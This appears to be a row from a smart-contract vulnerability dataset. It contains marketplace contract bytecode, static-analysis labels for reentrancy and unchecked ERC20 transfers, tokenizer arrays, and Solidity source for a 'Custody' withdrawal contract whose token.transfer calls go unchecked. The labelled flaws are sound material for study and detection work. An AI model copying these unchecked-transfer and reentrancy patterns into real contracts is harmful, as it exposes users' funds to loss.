20756e617574686f72697a65642073656e646572604482015290519081900360640190fd5b6117c46131a8565b506001600160a01b038085166000908152600360208181526040808420888552825292839020835160808101855281548152600182015490951691850191909152600281015492840183905201546060830152831461186a576040805162461bcd60e51b815260206004820152601e60248201527f4d61726b6574706c6163653a20696e76616c6964206269642070726963650000604482015290519081900360640190fd5b42816060015110156118c3576040805162461bcd60e51b815260206004820152601c60248201527f4d61726b6574706c6163653a2074686520626964206578706972656400000000604482015290519081900360640190fd5b6001600160a01b038516600090815260036020818152604080842088855282528084208481556001810180546001600160a01b031916905560028101859055909201929092558251815190815290517ff8c7d5572fa269efc040934ae7553d57f8906bffd616254bef0b94e2b569e416929181900390910190a160015460009015611a0057611968620f4240610aaf60015485604001516124b890919063ffffffff16565b60c08401519091506001600160a01b031673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee146119be576119b961199e611411565b60c08501516001600160a01b0316908363ffffffff612df616565b611a00565b6119c6611411565b6001600160a01b03166108fc829081150290604051600060405180830381858888f193505050501580156119fe573d6000803e3d6000fd5b505b608083015160009015611c2757611a2d6064610aaf866080015186604001516124b890919063ffffffff16565b9050336001600160a01b031684604001516001600160a01b031663d0e4f396886040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b158015611a8157600080fd5b505afa158015611a95573d6000803e3d6000fd5b505050506040513d6020811015611aab57600080fd5b50516001600160a01b031614611c275760c08401516001600160a01b031673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee14611b7a57611b7584604001516001600160a01b031663d0e4f396886040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b158015611b2e57600080fd5b505afa158015611b42573d6000803e3d6000fd5b505050506040513d6020811015611b5857600080fd5b505160c08601516001600160a01b0316908363ffffffff612df616565b611c27565b83604001516001600160a01b031663d0e4f396876040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b158015611bc257600080fd5b505afa158015611bd6573d6000803e3d6000fd5b505050506040513d6020811015611bec57600080fd5b50516040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611c25573d6000803e3d6000fd5b505b60c08401516001600160a01b031673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee14611c9257611c8d8460200151611c7283610dca8688604001516125b490919063ffffffff16565b60c08701516001600160a01b0316919063ffffffff612df616565b611ce8565b83602001516001600160a01b03166108fc611cbe83610dca8688604001516125b490919063ffffffff16565b6040518115909202916000818181858888f19350505050158015611ce6573d6000803e3d6000fd5b505b610ed98460000151846020015189898961270b565b60026020818152600093845260408085209091529183529120805460018201549282015460038301546004840154600585015460069095015493956001600160a01b039081169593811694929391921687565b60046020526000908152604090205460ff1681565b611d6d611e75565b6000546001600160a01b03908116911614611dbd576040805162461bcd60e51b8152602060048201819052602482015260008051602061335e833981519152604482015290519081900360640190fd5b6001600160a01b038116611e025760405162461bcd60e51b81526004018080602001828103825260268152602001806132066026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee81565b3390565b600054600160a01b900460ff16611ece576040805162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b604482015290519081900360640190fd5b6000805460ff60a01b191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa611f04611e75565b604080516001600160a01b039092168252519081900360200190a1565b600054600160a01b900460ff1615611f73576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b6000805460ff60a01b1916600160a01b1790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258611f04611e75565b611fb761316c565b506001600160a01b038083166000908152600260208181526040808420868552825292839020835160e08101855281548082526001830154871693820193909352928101548516938301939093526003830154606083015260048301546080830152600583015460a083015260069092015490921660c0830152612082576040805162461bcd60e51b815260206004820181905260248201527f4d61726b6574706c6163653a206173736574206e6f74207075626c6973686564604482015290519081900360640190fd5b428160a0015110156120db576040805162461bcd60e51b815260206004820152601a60248201527f4d61726b6574706c6163653a206f726465722065787069726564000000000000604482015290519081900360640190fd5b92915050565b6120e961316c565b6120f38585611faf565b90508060a00151821115612109578060a0015191505b6121116131a8565b506001600160a01b038086166000908152600360208181526040808420898552825292839020835160808101855281548082526001830154909616928101929092526002810154938201939093529101546060820152901561223257428160600151106121bf57806040015184116121ba5760405162461bcd60e51b815260040180806020018281038252603581526020018061337e6035913960400191505060405180910390fd5b612214565b60008411612214576040805162461bcd60e51b815260206004820152601e60248201527f4d61726b6574706c6163653a206269642073686f756c64206265203e20300000604482015290519081900360640190fd5b61222d81600001518787846020015185604001516125f6565b612287565b60008411612287576040805162461bcd60e51b815260206004820152601e60248201527f4d61726b6574706c6163653a206269642073686f756c64206265203e20300000604482015290519081900360640190fd5b8160c001516001600160a01b031673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee6001600160a01b0316146123415760c0820151604080516323b872dd60e01b81523360048201523060248201526044810187905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b15801561231457600080fd5b505af1158015612328573d6000803e3d6000fd5b505050506040513d602081101561233e57600080fd5b50505b600042338460000151878760405160200180868152602001856001600160a01b03166001600160a01b031660601b8152601401848152602001838152602001828152602001955050505050506040516020818303038152906040528051906020012090506040518060800160405280828152602001336001600160a01b031681526020018681526020018581525060036000896001600160a01b03166001600160a01b0316815260200190815260200160002060008881526020019081526020016000206000820151816000015560208201518160010160006101000a8154816001600160a01b0302191690836001600160a01b031602179055506040820151816002015560608201518160030155905050336001600160a01b031686886001600160a01b03167fae7b5aee7763f3e7771076de8f7b61accb70ad42245fee23308e19c8bcd518e484898960405180848152602001838152602001828152602001935050505060405180910390a450505050505050565b6000826124c7575060006120db565b828202828482816124d457fe5b04146125115760405162461bcd60e51b815260040180806020018281038252602181526020018061330f6021913960400191505060405180910390fd5b9392505050565b600061251183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612e48565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052611345908590612eea565b600061251183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612f9b565b6001600160a01b038416600090815260036020818152604080842087855290915282208281556001810180546001600160a01b031916905560028101839055015561263f61316c565b6126498585611faf565b60c08101519091506001600160a01b031673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee146126985760c0810151612693906001600160a01b0316848463ffffffff612df616565b6126d0565b6040516001600160a01b0384169083156108fc029084906000818181858888f193505050501580156126ce573d6000803e3d6000fd5b505b6040805187815290517fb56dc4096011ba5fd2e46e5c3e7b04dec423b5e7b5fce9a17a419d77c832177c9181900360200190a1505050505050565b6001600160a01b0380841660008181526002602081815260408084208885529091528083208381556001810180546001600160a01b031990811690915592810180548416905560038101849055600480820185905560058201859055600690910180549093169092558051632142170760e11b81523092810192909252938816602482015260448101869052925191926342842e0e926064808301939282900301818387803b1580156127bd57600080fd5b505af11580156127d1573d6000803e3d6000fd5b5050604080518881526020810185905281516001600160a01b03891694507f012d66d656f295c1a84576b9b7f0a83474ed09578e80f7f1a715fb958e1d546393509081900390910190a25050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708181148015906106da575050151592915050565b6001600160a01b038116600090815260046020526040902054869060ff166128b45760405162461bcd60e51b815260040180806020018281038252602e815260200180613330602e913960400191505060405180910390fd5b6000816001600160a01b0316636352211e886040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b1580156128fa57600080fd5b505afa15801561290e573d6000803e3d6000fd5b505050506040513d602081101561292457600080fd5b505190506001600160a01b038116331461296f5760405162461bcd60e51b81526004018080602001828103825260338152602001806132996033913960400191505060405180910390fd5b600086116129ae5760405162461bcd60e51b815260040180806020018281038252602a81526020018061326f602a913960400191505060405180910390fd5b6129bf42603c63ffffffff612d9c16565b84116129fc5760405162461bcd60e51b81526004018080602001828103825260438152602001806132cc6043913960600191505060405180910390fd5b60408051632142170760e11b81526001600160a01b038381166004830152306024830152604482018a90529151918416916342842e0e9160648082019260009290919082900301818387803b158015612a5457600080fd5b505af1158015612a68573d6000803e3d6000fd5b50505050600042828a8a8a60405160200180868152602001856001600160a01b03166001600160a01b031660601b8152601401846001600160a01b03166001600160a01b031660601b8152601401838152602001828152602001955050505050506040516020818303038152906040528051906020012090506040518060e00160405280828152602001836001600160a01b031681526020018a6001600160a01b03168152602001888152602001878152602001868152602001856001600160a01b0316815250600260008b6001600160a01b03166001600160a01b0316815260200190815260200160002060008a81526020019081526020016000206000820151816000015560208201518160010160006101000a8154816001600160a01b0302191690836001600160a01b0316021790555060408201518160020160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550606082015181600301556080820151816004015560a0820151816005015560c08201518160060160006101000a8154816001600160a01b0302191690836001600160a01b0316021790555090505087896001600160a01b0316836001600160a01b03167f9a4f4319c9a094a854f1cdf9560bae580d461a7e2901efd754f67df8a28a600a848b8a8a60405180858152602001848152602001838152602001826001600160a01b03166001600160a01b0316815260200194505050505060405180910390a4505050505050505050565b6001600160a01b0380841660008181526002602081815260408084208885529091528083208381556001810180546001600160a01b031990811690915592810180548416905560038101849055600480820185905560058201859055600690910180549093169092558051632142170760e11b81523092810192909252938516602482015260448101869052925191926342842e0e926064808301939282900301818387803b158015612d4a57600080fd5b505af1158015612d5e573d6000803e3d6000fd5b50506040805187815290517f5152abf959f6564662358c2e52b702259b78bac5ee7842a0f01937e670efcc7d9350908190036020019150a150505050565b600082820183811015612511576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b17905261101f908490612eea565b60008183612ed45760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612e99578181015183820152602001612e81565b50505050905090810190601f168015612ec65780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612ee057fe5b0495945050505050565b6060612f3f826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316612ff59092919063ffffffff16565b80519091501561101f57808060200190516020811015612f5e57600080fd5b505161101f5760405162461bcd60e51b815260040180806020018281038252602a8152602001806133b3602a913960400191505060405180910390fd5b60008184841115612fed5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315612e99578181015183820152602001612e81565b505050900390565b60606106da8484600085606061300a85612822565b61305b576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b6020831061309a5780518252601f19909201916020918201910161307b565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d80600081146130fc576040519150601f19603f3d011682016040523d82523d6000602084013e613101565b606091505b509150915081156131155791506106da9050565b8051156131255780518082602001fd5b60405162461bcd60e51b8152602060048201818152865160248401528651879391928392604401919085019080838360008315612e99578181015183820152602001612e81565b6040805160e081018252600080825260208201819052918101829052606081018290526080810182905260a0810182905260c081019190915290565b6040805160808101825260008082526020820181905291810182905260608101919091529056fe54686520616363657074656420746f6b656e2061646472657373206d7573742062652061206465706c6f79656420636f6e74726163744f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734d61726b6574706c6163653a204578706972652074696d652073686f756c64206265206d6f7265207468616e2031206d696e75746520696e20746865206675747572654d61726b6574706c6163653a2050726963652073686f756c6420626520626967676572207468616e20304d61726b6574706c6163653a204f6e6c7920746865206173736574206f776e65722063616e20637265617465206f72646572734d61726b6574706c6163653a205075626c69636174696f6e2073686f756c64206265206d6f7265207468616e2031206d696e75746520696e2074686520667574757265536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774d61726b6574706c6163653a20556e61636365707461626c65206d61726b6574706c6163652063757272656e63794f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65724d61726b6574706c6163653a206269642070726963652073686f756c6420626520686967686572207468616e206c617374206269645361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564546865206f776e6572206375742073686f756c64206265206265747765656e203020616e64206d61784375745065724d696c6c696f6ea26469706673582212208b623813d849d0b4720a7b0c4d83d1dd297902871e151184ce28b25a9519454c64736f6c63430006080033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 19317, 2497, 11387, 19841, 2475, 2094, 28756, 7959, 2487, 2546, 2094, 24096, 2497, 2549, 2094, 2581, 2278, 2620, 2620, 18139, 6305, 2692, 2683, 2575, 2581, 2683, 2050, 2575, 2497, 2475, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 15895, 1011, 1016, 1012, 1014, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1016, 1025, 1013, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 2121, 1998, 5796, 2290, 1012, 2951, 1010, 2027, 2323, 2025, 2022, 11570, 1999, 2107, 1037, 3622, 1008, 5450, 1010, 2144, 2043, 7149, 2007, 28177, 2078, 18804, 1011, 11817, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,665
0x9722EBf15ABc714882c07aFa4D4fdCBE36C7A6ED
// SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.3; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Custody is Ownable { using Address for address; mapping(address => bool) public authorized; IERC20 public token; modifier onlyAuthorized() { require(authorized[msg.sender], "Not authorized"); _; } constructor(address _tokenAddress) { token = IERC20(_tokenAddress); authorized[owner()] = true; } // Reject any ethers sent to this smart-contract receive() external payable { revert("Rejecting tx with ethers sent"); } function authorize(address _account) public onlyOwner { authorized[_account] = true; } function forbid(address _account) public onlyOwner { require(_account != owner(), "Owner access cannot be forbidden!"); authorized[_account] = false; } function transferOwnership(address newOwner) public override onlyOwner { authorized[owner()] = false; super.transferOwnership(newOwner); authorized[owner()] = true; } function withdraw(uint256 amount) onlyAuthorized public { token.transfer(msg.sender, amount); } // Allow to withdraw any arbitrary token, should be used by // contract owner to recover accidentally received funds. function recover(address _tokenAddress, uint256 amount) onlyOwner public { IERC20(_tokenAddress).transfer(msg.sender, amount); } // Allows to withdraw funds into many addresses in one tx // (or to do mass bounty payouts) function payout(address[] calldata _recipients, uint256[] calldata _amounts) onlyOwner public { require(_recipients.length == _amounts.length, "Invalid array length"); for (uint256 i = 0; i < _recipients.length; i++) { token.transfer(_recipients[i], _amounts[i]); } } }
0x6080604052600436106100955760003560e01c8063b6a5d7de11610059578063b6a5d7de14610197578063b9181611146101c0578063c176e639146101fd578063f2fde38b14610226578063fc0c546a1461024f576100d5565b80632e1a7d4d146100da5780635705ae4314610103578063715018a61461012c5780637e95cd27146101435780638da5cb5b1461016c576100d5565b366100d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100cc90611198565b60405180910390fd5b600080fd5b3480156100e657600080fd5b5061010160048036038101906100fc9190610f87565b61027a565b005b34801561010f57600080fd5b5061012a60048036038101906101259190610ead565b6103b9565b005b34801561013857600080fd5b506101416104c7565b005b34801561014f57600080fd5b5061016a60048036038101906101659190610e84565b610601565b005b34801561017857600080fd5b5061018161074e565b60405161018e91906110be565b60405180910390f35b3480156101a357600080fd5b506101be60048036038101906101b99190610e84565b610777565b005b3480156101cc57600080fd5b506101e760048036038101906101e29190610e84565b61084d565b6040516101f49190611102565b60405180910390f35b34801561020957600080fd5b50610224600480360381019061021f9190610ee9565b61086d565b005b34801561023257600080fd5b5061024d60048036038101906102489190610e84565b610a95565b005b34801561025b57600080fd5b50610264610bda565b604051610271919061111d565b60405180910390f35b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610306576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102fd906111d8565b60405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b81526004016103639291906110d9565b602060405180830381600087803b15801561037d57600080fd5b505af1158015610391573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103b59190610f5e565b5050565b6103c1610c00565b73ffffffffffffffffffffffffffffffffffffffff166103df61074e565b73ffffffffffffffffffffffffffffffffffffffff1614610435576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042c906111b8565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b81526004016104709291906110d9565b602060405180830381600087803b15801561048a57600080fd5b505af115801561049e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104c29190610f5e565b505050565b6104cf610c00565b73ffffffffffffffffffffffffffffffffffffffff166104ed61074e565b73ffffffffffffffffffffffffffffffffffffffff1614610543576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053a906111b8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610609610c00565b73ffffffffffffffffffffffffffffffffffffffff1661062761074e565b73ffffffffffffffffffffffffffffffffffffffff161461067d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610674906111b8565b60405180910390fd5b61068561074e565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156106f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ea90611178565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61077f610c00565b73ffffffffffffffffffffffffffffffffffffffff1661079d61074e565b73ffffffffffffffffffffffffffffffffffffffff16146107f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ea906111b8565b60405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60016020528060005260406000206000915054906101000a900460ff1681565b610875610c00565b73ffffffffffffffffffffffffffffffffffffffff1661089361074e565b73ffffffffffffffffffffffffffffffffffffffff16146108e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e0906111b8565b60405180910390fd5b818190508484905014610931576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092890611138565b60405180910390fd5b60005b84849050811015610a8e57600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8686848181106109b6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906109cb9190610e84565b858585818110610a04577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b905060200201356040518363ffffffff1660e01b8152600401610a289291906110d9565b602060405180830381600087803b158015610a4257600080fd5b505af1158015610a56573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a7a9190610f5e565b508080610a8690611275565b915050610934565b5050505050565b610a9d610c00565b73ffffffffffffffffffffffffffffffffffffffff16610abb61074e565b73ffffffffffffffffffffffffffffffffffffffff1614610b11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b08906111b8565b60405180910390fd5b600060016000610b1f61074e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610b7981610c08565b6001806000610b8661074e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b610c10610c00565b73ffffffffffffffffffffffffffffffffffffffff16610c2e61074e565b73ffffffffffffffffffffffffffffffffffffffff1614610c84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7b906111b8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610cf4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ceb90611158565b60405180910390fd5b8073ffffffff